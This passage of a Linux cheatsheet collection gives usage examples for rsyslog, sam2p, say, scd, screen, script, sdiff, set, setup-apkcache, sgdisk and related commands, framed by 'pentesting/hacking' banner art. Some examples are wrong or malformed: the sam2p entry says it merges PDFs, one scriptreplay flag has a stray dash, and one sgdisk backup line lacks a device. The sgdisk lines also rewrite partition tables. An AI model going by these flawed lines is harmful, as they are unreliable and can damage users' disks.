╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
160 - 🖥️rsyslog
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rsyslog command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ███████╗██╗ ██╗███████╗██╗ ██████╗ ██████╗
# ██╔══██╗██╔════╝╚██╗ ██╔╝██╔════╝██║ ██╔═══██╗██╔════╝
# ██████╔╝███████╗ ╚████╔╝ ███████╗██║ ██║ ██║██║ ███╗
# ██╔══██╗╚════██║ ╚██╔╝ ╚════██║██║ ██║ ██║██║ ██║
# ██║ ██║███████║ ██║ ███████║███████╗╚██████╔╝╚██████╔╝
# ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝
## /etc/rsyslog.conf ##
# Mailserver Logs
if ( $fromhost-ip == '10.254.253.154' ) then -/opt/remotelogs/mx/mailgateway.log
& stop
if ( $fromhost-ip == '10.254.253.104' ) then -/opt/remotelogs/mx/mailgateway.log
& stop
if ( $fromhost-ip == '10.254.253.101' ) then -/opt/remotelogs/mx/mailgateway.log
& stop
if ( $fromhost-ip == '10.254.253.103' ) then -/opt/remotelogs/mx/mailgateway.log
& stop
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command rsyslog in a clear format. This allows users to quickly access the needed information for rsyslog without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for rsyslog are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
161 - 🖥️sam2p
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sam2p command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗ █████╗ ███╗ ███╗██████╗ ██████╗
# ██╔════╝██╔══██╗████╗ ████║╚════██╗██╔══██╗
# ███████╗███████║██╔████╔██║ █████╔╝██████╔╝
# ╚════██║██╔══██║██║╚██╔╝██║██╔═══╝ ██╔═══╝
# ███████║██║ ██║██║ ╚═╝ ██║███████╗██║
# ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝
# Concatenate all pdf files into one:
sam2p *.pdf out.pdf
#==============================##==============================#
# CMD SAM2P #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command sam2p in a clear format. This allows users to quickly access the needed information for sam2p without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for sam2p are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
162 - 🖥️say
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the say command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗ █████╗ ██╗ ██╗
# ██╔════╝██╔══██╗╚██╗ ██╔╝
# ███████╗███████║ ╚████╔╝
# ╚════██║██╔══██║ ╚██╔╝
# ███████║██║ ██║ ██║
# ╚══════╝╚═╝ ╚═╝ ╚═╝
# say
# Converts text to speech.
# Say a phrase aloud:
say "I like to ride my bike."
# Read a file aloud:
say -f filename.txt
# Say a phrase with a custom voice and speech rate:
say -v voice -r words_per_minute "I'm sorry Dave, I can't let you do that."
# List the available voices:
say -v ?
# Hear the available voices
say -v ? | awk '{ print $1 }' | while read v; do echo "$v is speaking..."; say -v $v "Hi, my name is $v"; done
# Create an audio file of the spoken text:
say -o filename.aiff "Here's to the Crazy Ones."
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command say in a clear format. This allows users to quickly access the needed information for say without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for say are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
163 - 🖥️scd
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the scd command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗ ██████╗██████╗
# ██╔════╝██╔════╝██╔══██╗
# ███████╗██║ ██║ ██║
# ╚════██║██║ ██║ ██║
# ███████║╚██████╗██████╔╝
# ╚══════╝ ╚═════╝╚═════╝
# To index recursively some paths for the very first run:
scd -ar ~/Documents/
# To change to a directory path matching "doc":
scd doc
# To change to a path matching all of "a", "b" and "c":
scd a b c
# To change to a directory path that ends with "ts":
scd "ts$"
# To show selection menu and ranking of 20 most likely directories:
scd -v
# To alias current directory as "xray":
scd --alias=xray
# To jump to a previously defined aliased directory:
scd xray
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command scd in a clear format. This allows users to quickly access the needed information for scd without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for scd are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
164 - 🖥️screen
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the screen command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗ ██████╗██████╗ ███████╗███████╗███╗ ██╗
# ██╔════╝██╔════╝██╔══██╗██╔════╝██╔════╝████╗ ██║
# ███████╗██║ ██████╔╝█████╗ █████╗ ██╔██╗ ██║
# ╚════██║██║ ██╔══██╗██╔══╝ ██╔══╝ ██║╚██╗██║
# ███████║╚██████╗██║ ██║███████╗███████╗██║ ╚████║
# ╚══════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═══╝
# The first command you should run right after you login to a remote server ;-)
screen
# Explanation: With screen you can have multiple shells in the same window. You do not need to open new windows for a second connection to the same remote server, you can simply press C-a c inside the screen session. And if your computer crashes, you screen session on the remote server survives, you can re-attach to a previous screen session with screen -R.
# Start a new named screen session:
screen -S session_name
# Detach from the current session:
Press Ctrl+A then press d
# Re-attach a detached session:
screen -r session_name
# List all screen sessions:
screen -ls
screen ./long-unix-script.sh
# It can be de-attached or re-attached in different sessions. When a command is executing press “Ctrl + A” and then “d” to de-attach. To attach run.
screen -ls
# Note: Here, the later part of this command is screen id, which you can get using ‘screen -ls‘ command.
longcmd ; [Ctrl-Z] ; bg ; disown ; screen ; reptyr $( pidof longcmd )
# Suspend and reattach a process to screen.
# Close specify detached screen
# -X Send the specified command to a running screen session. -S Option to specify the screen session if you have several screen sessions running. screen -ls for listing current screens and its sessionname
screen -X -S [sessionname] quit
# Run a never-ending process in the background in a way that you can check on its status anytime
screen -d -m -S some_name ping my_router
# Explanation:
# -d -m start screen in "detached" mode. This creates a new session but does not attach to it.
# -S some_name gives the screen session a label, so you can easily re-attach to it with screen -R some_name
# The shell prompt returns immediately, and of course you can logout too, the screen session will continue to run happily.
# When the specified program exits (in this example ping), its screen window will also exit, and if there are no other windows in the screen session, then the screen session itself will also exit.
# screen
#-----------#
screen -S session_name
Es ist immer eine gute Idee, einen beschreibenden Sitzungsnamen zu wählen.
Im Folgenden sind einige der häufigsten Befehle zum Verwalten von Linux Screen Windows aufgeführt:
Ctrl+a d
Trennen Sie sich von der Linux-Bildschirmsitzung
screen -r
Verbinden Sie sich erneut mit einem Linux-Bildschirm
Ctrl+a c Neues Fenster erstellen (mit Shell)
Ctrl+a " Alle Fenster auflisten"
Ctrl+a 0 Zu Fenster 0 wechseln (nach Nummer)
Ctrl+a A Benennen Sie das aktuelle Fenster um
Ctrl+a S Teilen Sie den aktuellen Bereich horizontal in zwei Bereiche
Ctrl+a | Teilen Sie den aktuellen Bereich vertikal in zwei Bereiche
Ctrl+a tab Schalten Sie den Eingabefokus auf die nächste Region
Ctrl+a Ctrl+a Wechseln Sie zwischen der aktuellen und der vorherigen Region
Ctrl+a Q Schließen Sie alle Regionen außer der aktuellen
Ctrl+a X Schließen Sie die aktuelle Region
screen -S test [abmelden mit Strg+A, d]
screen -ls [Sitzungen auflisten]
screen -r test [neu verbinden]
exit [beendet Bash und die screen Sitzung]
#==============================##==============================#
# CMD SCREEN #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command screen in a clear format. This allows users to quickly access the needed information for screen without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for screen are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
165 - 🖥️script
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the script command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗ ██████╗██████╗ ██╗██████╗ ████████╗
# ██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝
# ███████╗██║ ██████╔╝██║██████╔╝ ██║
# ╚════██║██║ ██╔══██╗██║██╔═══╝ ██║
# ███████║╚██████╗██║ ██║██║██║ ██║
# ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝
script --timing=time.txt
# Script wir mit --timing estartet, sodass für die einzelnen Kommandos ein Zeitstempel hinterlegt wird - raus mit exit oder strg-d
scriptreplay ---timing=time.txt
# Gibt datei wieder
# scriptreplay --timing=time.log capture.txt
# script and `date` commands can be a blessing to a future self when questions are asked of server changes.
_today="$(date +'%Y-%m-%d')"
_command='apt-get upgrade'
script -ac "${_command}" ${_today}_${_command// /_}.script
#==============================##==============================#
# CMD SCRIPT #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command script in a clear format. This allows users to quickly access the needed information for script without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for script are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
166 - 🖥️scsi_logging_level
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the scsi_logging_level command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗ ██████╗███████╗██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗███╗ ██╗ ██████╗ ██╗ ███████╗██╗ ██╗███████╗██╗
# ██╔════╝██╔════╝██╔════╝██║ ██║ ██╔═══██╗██╔════╝ ██╔════╝ ██║████╗ ██║██╔════╝ ██║ ██╔════╝██║ ██║██╔════╝██║
# ███████╗██║ ███████╗██║ ██║ ██║ ██║██║ ███╗██║ ███╗██║██╔██╗ ██║██║ ███╗ ██║ █████╗ ██║ ██║█████╗ ██║
# ╚════██║██║ ╚════██║██║ ██║ ██║ ██║██║ ██║██║ ██║██║██║╚██╗██║██║ ██║ ██║ ██╔══╝ ╚██╗ ██╔╝██╔══╝ ██║
# ███████║╚██████╗███████║██║███████╗███████╗╚██████╔╝╚██████╔╝╚██████╔╝██║██║ ╚████║╚██████╔╝███████╗███████╗███████╗ ╚████╔╝ ███████╗███████╗
# ╚══════╝ ╚═════╝╚══════╝╚═╝╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═══╝ ╚══════╝╚══════╝
# scsi_logging_level
# set and get the SCSI logging level (install sg3-utils)
# configure the log level of several tracepoints along the Linux SCSI stack
scsi_logging_level -s --ioctl=7
# track SCSI commands as they flow through
# the SCSI submission and completion path
# (call dmesg after that)
scsi_logging_level -s --midlevel=7
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command scsi_logging_level in a clear format. This allows users to quickly access the needed information for scsi_logging_level without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for scsi_logging_level are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
167 - 🖥️sdiff
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sdiff command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██████╗ ██╗███████╗███████╗
# ██╔════╝██╔══██╗██║██╔════╝██╔════╝
# ███████╗██║ ██║██║█████╗ █████╗
# ╚════██║██║ ██║██║██╔══╝ ██╔══╝
# ███████║██████╔╝██║██║ ██║
# ╚══════╝╚═════╝ ╚═╝╚═╝ ╚═╝
# The sdiff command lets you perform a side-by-side merge of differences between two files.
sdiff file1 file2
#==============================##==============================#
# CMD sdiff #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command sdiff in a clear format. This allows users to quickly access the needed information for sdiff without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for sdiff are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
168 - 🖥️set
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the set command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗███████╗████████╗
# ██╔════╝██╔════╝╚══██╔══╝
# ███████╗█████╗ ██║
# ╚════██║██╔══╝ ██║
# ███████║███████╗ ██║
# ╚══════╝╚══════╝ ╚═╝
Set or unset values of shell options and positional parameters.
Change the value of shell attributes and positional parameters, or display the names and values of shell variables.
# Useful Tips for Writing Effective Bash Scripts in Linux
#############################################################
# let script exit if a command fails
set -o errexit
# OR
set -e
#################
# let script exit if an unsed variable is used
set -o nounset
OR
set -u
##################
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command set in a clear format. This allows users to quickly access the needed information for set without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for set are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
169 - 🖥️setup-apkcache
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the setup-apkcache command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗███████╗████████╗██╗ ██╗██████╗ █████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ██████╗██╗ ██╗███████╗
# ██╔════╝██╔════╝╚══██╔══╝██║ ██║██╔══██╗ ██╔══██╗██╔══██╗██║ ██╔╝██╔════╝██╔══██╗██╔════╝██║ ██║██╔════╝
# ███████╗█████╗ ██║ ██║ ██║██████╔╝█████╗███████║██████╔╝█████╔╝ ██║ ███████║██║ ███████║█████╗
# ╚════██║██╔══╝ ██║ ██║ ██║██╔═══╝ ╚════╝██╔══██║██╔═══╝ ██╔═██╗ ██║ ██╔══██║██║ ██╔══██║██╔══╝
# ███████║███████╗ ██║ ╚██████╔╝██║ ██║ ██║██║ ██║ ██╗╚██████╗██║ ██║╚██████╗██║ ██║███████╗
# ╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝
# apk is the tool used to install, upgrade, or delete software on a running system of Alpine Linux package management
# To enable local APK cache run
setup-apkcache
# If you've installed Alpine to your hard drive (as 'sys'),
# then create a cache dir and then an /etc/apk/cache symlink pointing to that dir:
mkdir -p /var/cache/apk
ln -s /var/cache/apk /etc/apk/cache
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command setup-apkcache in a clear format. This allows users to quickly access the needed information for setup-apkcache without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for setup-apkcache are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
170 - 🖥️sgdisk
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sgdisk command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗ ██████╗ ██████╗ ██╗███████╗██╗ ██╗
# ██╔════╝██╔════╝ ██╔══██╗██║██╔════╝██║ ██╔╝
# ███████╗██║ ███╗██║ ██║██║███████╗█████╔╝
# ╚════██║██║ ██║██║ ██║██║╚════██║██╔═██╗
# ███████║╚██████╔╝██████╔╝██║███████║██║ ██╗
# ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
# sgdisk
# Command-line GUID partition table (GPT) manipulator for Linux and Unix
# convert an MBR partition table to GPT, use sgdisk
sgdisk -g /dev/sda
# convert GPT to MBR use the m option.
# it is not possible to convert more than four partitions from GPT to MBR
sgdisk -m /dev/sda
# Sort GPT partitions
# when a new partition is created in the space between two partitions or a partition is deleted
sgdisk -s /dev/sda
# Using sgdisk you can create a binary backup consisting of the protective MBR,
# the main GPT header, the backup GPT header, and one copy of the partition table
sgdisk -b=sgdisk-sda.bak
# Restore GPT/MBR backup:
sgdisk -l=sgdisk-sda.bak
# Clone your current device's partition layout '/dev/sda' to another drive '/dev/sdc'
sgdisk -R=/dev/sdc /dev/sda
# If both drives will be in the same computer, you need to randomize the GUID's after cloning
sgdisk -G /dev/sdc
